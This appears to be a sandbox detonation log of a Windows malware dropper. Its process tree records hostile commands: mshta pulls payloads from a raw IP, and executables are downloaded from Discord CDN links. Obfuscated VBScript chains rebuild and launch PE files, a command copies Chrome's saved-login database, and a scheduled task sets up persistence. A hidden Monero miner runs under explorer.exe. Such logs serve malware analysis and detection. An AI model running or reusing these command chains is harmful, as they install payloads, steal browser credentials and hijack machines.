"C:\Users\Admin\Pictures\Adobe Films\PtIpbjLSQP_eHgf86mvDiq5x.exe"
7⤵
- Executes dropped EXE
PID:5704

C:\Users\Admin\Pictures\Adobe Films\EN8kVF9nOEITndkmKROPnWJy.exe
"C:\Users\Admin\Pictures\Adobe Films\EN8kVF9nOEITndkmKROPnWJy.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:1788

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
8⤵
PID:5740

C:\Users\Admin\Pictures\Adobe Films\90ZYl4DNjc4L0AZthgxTdNOd.exe
"C:\Users\Admin\Pictures\Adobe Films\90ZYl4DNjc4L0AZthgxTdNOd.exe"
7⤵
PID:2208

C:\Users\Admin\Pictures\Adobe Films\Nvh_1uHJ5edoJRrt0aUqMKjC.exe
"C:\Users\Admin\Pictures\Adobe Films\Nvh_1uHJ5edoJRrt0aUqMKjC.exe"
7⤵
- Suspicious use of SetThreadContext
PID:2524

C:\Users\Admin\Pictures\Adobe Films\Nvh_1uHJ5edoJRrt0aUqMKjC.exe
"C:\Users\Admin\Pictures\Adobe Films\Nvh_1uHJ5edoJRrt0aUqMKjC.exe"
8⤵
PID:5344

C:\Users\Admin\Pictures\Adobe Films\BnaQE7vssOIGKiIFtluJLNOT.exe
"C:\Users\Admin\Pictures\Adobe Films\BnaQE7vssOIGKiIFtluJLNOT.exe"
7⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4628

C:\Users\Admin\AppData\Local\Temp\Refutatory.exe
"C:\Users\Admin\AppData\Local\Temp\Refutatory.exe"
8⤵
PID:2792

C:\Users\Admin\AppData\Local\Temp\tory.exe
"C:\Users\Admin\AppData\Local\Temp\tory.exe"
8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:7060

C:\Users\Admin\AppData\Local\Temp\cler.exe
"C:\Users\Admin\AppData\Local\Temp\cler.exe"
8⤵
- Suspicious behavior: SetClipboardViewer
PID:652

C:\Users\Admin\Pictures\Adobe Films\H6UM5D_oAJb1wY44F0H9W53a.exe
"C:\Users\Admin\Pictures\Adobe Films\H6UM5D_oAJb1wY44F0H9W53a.exe"
7⤵
PID:6068

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" http://185.7.214.7/LOADX/m.hta
8⤵
- Blocklisted process makes network request
- Checks whether UAC is enabled
PID:6480

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" http://185.7.214.7/LOADX/r.hta
8⤵
PID:6552

C:\Users\Admin\Pictures\Adobe Films\hschgIT73zIyo43yY5y_5zDy.exe
"C:\Users\Admin\Pictures\Adobe Films\hschgIT73zIyo43yY5y_5zDy.exe"
7⤵
PID:4464

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\542F.bat "C:\Users\Admin\Pictures\Adobe Films\hschgIT73zIyo43yY5y_5zDy.exe""
8⤵
PID:6712

C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
9⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2208

C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/904756451950616599/904756476982222878/18.exe" "18.exe" "" "" "" "" "" ""
9⤵
PID:5132

C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/904756451950616599/904756503808991242/Transmissibility.exe" "Transmissibility.exe" "" "" "" "" "" ""
9⤵
PID:1472

C:\Users\Admin\AppData\Local\Temp\4795\18.exe
18.exe
9⤵
PID:1904

C:\Users\Admin\AppData\Local\Temp\4795\Transmissibility.exe
Transmissibility.exe
9⤵
PID:7004

C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\542D.tmp\542E.tmp\extd.exe "" "" "" "" "" "" "" "" ""
9⤵
PID:7048

C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe
"C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe"
7⤵
PID:6472

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
8⤵
- Checks whether UAC is enabled
PID:4808

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe" ) do taskkill -im "%~NxK" -F
9⤵
PID:6900

C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
10⤵
PID:7060

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
11⤵
- Checks whether UAC is enabled
PID:6760

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
12⤵
PID:5944

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )
11⤵
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
PID:5880

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
12⤵
PID:2304

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHO "
13⤵
PID:6768

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
13⤵
PID:5144

C:\Windows\SysWOW64\msiexec.exe
msiexec.exe -y .\N3V4H8H.SXY
13⤵
PID:6844

C:\Windows\SysWOW64\taskkill.exe
taskkill -im "sF0PPpnmkNGtoshXjIcSBrPz.exe" -F
10⤵
- Kills process with taskkill
PID:7032

C:\Users\Admin\Pictures\Adobe Films\AcE5WunU9rbhvxIHGczo1xiA.exe
"C:\Users\Admin\Pictures\Adobe Films\AcE5WunU9rbhvxIHGczo1xiA.exe"
7⤵
- Loads dropped DLL
PID:7052

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
8⤵
- Adds Run key to start application
PID:5496

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"
9⤵
- Checks whether UAC is enabled
PID:6820

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x298,0x294,0x290,0x2bc,0x28c,0x7ff88db2dec0,0x7ff88db2ded0,0x7ff88db2dee0
10⤵
PID:7136

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1728,14318272383274401953,8655748063075876082,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6820_864999767" --mojo-platform-channel-handle=1744 /prefetch:8
10⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5356

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0351a0558292.exe
5⤵
PID:4656

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0351a0558292.exe
Sun0351a0558292.exe
6⤵
- Executes dropped EXE
PID:3904

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0328255c4bce6fb.exe
5⤵
PID:3660

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0328255c4bce6fb.exe
Sun0328255c4bce6fb.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5044

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun03f5d51697d04.exe
5⤵
PID:4648

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun03ea09aa5c9686e5.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:4620

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun038db98f99bf9a.exe
5⤵
PID:4336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 420 -s 580
5⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3548

C:\Windows\SysWOW64\wlanext.exe
"C:\Windows\SysWOW64\wlanext.exe"
2⤵
- Adds policy Run key to start application
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Suspicious behavior: MapViewOfSection
PID:5664

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\Pictures\Adobe Films\UzYxXqOkTtDpwSezwVXY7Exr.exe"
3⤵
PID:6352

C:\Windows\SysWOW64\cmd.exe
/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
3⤵
PID:2616

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:6232

C:\Program Files (x86)\Hsnulor\updateppq.exe
"C:\Program Files (x86)\Hsnulor\updateppq.exe"
2⤵
PID:1972

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
PID:5060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:3376

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2852

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2708

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2700

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T /R
2⤵
PID:5160

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2484

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1888

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1436

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1348

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1220

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1096

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:356

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03ea09aa5c9686e5.exe
Sun03ea09aa5c9686e5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4252

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
2⤵
- Executes dropped EXE
PID:1744

C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
3⤵
- Executes dropped EXE
PID:3500

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
4⤵
PID:5652

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
5⤵
PID:1908

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
6⤵
- Creates scheduled task(s)
PID:5768

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
5⤵
- Blocklisted process makes network request
PID:1384

C:\Users\Admin\AppData\Roaming\services64.exe
C:\Users\Admin\AppData\Roaming\services64.exe
6⤵
PID:4488

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
7⤵
- Suspicious use of SetThreadContext
PID:5940

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
8⤵
PID:5556

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "/sihost64"
9⤵
PID:5268

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
8⤵
PID:1988

C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3128

C:\Users\Admin\AppData\Roaming\8767932.exe
"C:\Users\Admin\AppData\Roaming\8767932.exe"
4⤵
- Executes dropped EXE
PID:3352

C:\Users\Admin\AppData\Roaming\1444996.exe
"C:\Users\Admin\AppData\Roaming\1444996.exe"
4⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2064

C:\Users\Admin\AppData\Roaming\5906233.exe
"C:\Users\Admin\AppData\Roaming\5906233.exe"
4⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5164

C:\Users\Admin\AppData\Roaming\7573297.exe
"C:\Users\Admin\AppData\Roaming\7573297.exe"
4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5604

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBscript:cLosE(CreAteoBject ( "WscRipT.SheLL"). RuN ( "CmD /q /r COpy /y ""C:\Users\Admin\AppData\Roaming\7573297.exe"" ..\O0rNF.EXE &&StarT ..\O0rNF.Exe /P2shWm1kbqdY & If """"== """" for %a In ( ""C:\Users\Admin\AppData\Roaming\7573297.exe"" ) do taskkill /iM ""%~Nxa"" -f " , 0, TRue) )
5⤵
- Checks whether UAC is enabled
PID:5992

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /r COpy /y "C:\Users\Admin\AppData\Roaming\7573297.exe" ..\O0rNF.EXE&&StarT ..\O0rNF.Exe /P2shWm1kbqdY &If ""== "" for %a In ( "C:\Users\Admin\AppData\Roaming\7573297.exe" ) do taskkill /iM "%~Nxa" -f
6⤵
PID:5760

C:\Users\Admin\AppData\Local\Temp\O0rNF.EXE
..\O0rNF.Exe /P2shWm1kbqdY
7⤵
PID:5356

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBscript:cLosE(CreAteoBject ( "WscRipT.SheLL"). RuN ( "CmD /q /r COpy /y ""C:\Users\Admin\AppData\Local\Temp\O0rNF.EXE"" ..\O0rNF.EXE &&StarT ..\O0rNF.Exe /P2shWm1kbqdY & If ""/P2shWm1kbqdY ""== """" for %a In ( ""C:\Users\Admin\AppData\Local\Temp\O0rNF.EXE"" ) do taskkill /iM ""%~Nxa"" -f " , 0, TRue) )
8⤵
- Checks whether UAC is enabled
PID:5892

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /r COpy /y "C:\Users\Admin\AppData\Local\Temp\O0rNF.EXE" ..\O0rNF.EXE&&StarT ..\O0rNF.Exe /P2shWm1kbqdY &If "/P2shWm1kbqdY "== "" for %a In ( "C:\Users\Admin\AppData\Local\Temp\O0rNF.EXE" ) do taskkill /iM "%~Nxa" -f
9⤵
PID:5684

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBscrIpt: CloSe ( creATEObjecT( "wsCRIpT.sHell" ). RUN ( "Cmd /C Echo | set /p = ""MZ"" > q7PV.R & Copy /y /b Q7PV.R + 21_qTAy.5T + Z8D16.1 ..\MGLZR6G.SL1 & sTArt control ..\MgLZR6G.SL1 &Del /q * " , 0, TRuE) )
8⤵
PID:5576

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C Echo | set /p = "MZ" > q7PV.R & Copy /y /b Q7PV.R + 21_qTAy.5T+Z8D16.1 ..\MGLZR6G.SL1 & sTArt control ..\MgLZR6G.SL1 &Del /q *
9⤵
PID:2276

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Echo "
10⤵
PID:2864

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>q7PV.R"
10⤵
PID:3992

C:\Windows\SysWOW64\control.exe
control ..\MgLZR6G.SL1
10⤵
PID:1216

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\MgLZR6G.SL1
11⤵
- Loads dropped DLL
PID:4100

C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\MgLZR6G.SL1
12⤵
PID:6272

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\MgLZR6G.SL1
13⤵
PID:4360

C:\Windows\SysWOW64\taskkill.exe
taskkill /iM "7573297.exe" -f
7⤵
- Kills process with taskkill
PID:5352

C:\Users\Admin\AppData\Roaming\5505137.exe
"C:\Users\Admin\AppData\Roaming\5505137.exe"
4⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5644

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
5⤵
- Executes dropped EXE
PID:6076

C:\Users\Admin\AppData\Roaming\681845.exe
"C:\Users\Admin\AppData\Roaming\681845.exe"
4⤵
- Executes dropped EXE
PID:5736

C:\Users\Admin\AppData\Local\Temp\inst1.exe
"C:\Users\Admin\AppData\Local\Temp\inst1.exe"
3⤵
- Executes dropped EXE
PID:1152

C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe
"C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe"
3⤵
- Executes dropped EXE
PID:1836

C:\Users\Admin\AppData\Local\Temp\5.exe
"C:\Users\Admin\AppData\Local\Temp\5.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3968

C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:3592

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
4⤵
- Checks whether UAC is enabled
PID:1872

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
5⤵
PID:3196

C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:1820

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
7⤵
PID:4080

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
8⤵
PID:5212

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
7⤵
- Checks whether UAC is enabled
PID:5624

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
8⤵
PID:1496

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHo "
9⤵
PID:5328

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
9⤵
PID:1088

C:\Windows\SysWOW64\msiexec.exe
msiexec -Y ..\lXQ2g.WC
9⤵
- Loads dropped DLL
PID:1796

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "search_hyperfs_206.exe"
6⤵
- Kills process with taskkill
PID:5220

C:\Users\Admin\AppData\Local\Temp\4.exe
"C:\Users\Admin\AppData\Local\Temp\4.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2564

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:1008

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
3⤵
- Executes dropped EXE
PID:2332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 792
4⤵
- Program crash
PID:5472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 840
4⤵
- Program crash
PID:5936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 804
4⤵
- Program crash
PID:5292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 852
4⤵
- Program crash
PID:5484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 920
4⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:612

C:\Users\Admin\AppData\Local\Temp\chenxiulan-game.exe
"C:\Users\Admin\AppData\Local\Temp\chenxiulan-game.exe"
3⤵
- Executes dropped EXE
PID:2472

C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:64

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
PID:5956

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of FindShellTrayWindow
PID:5576

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
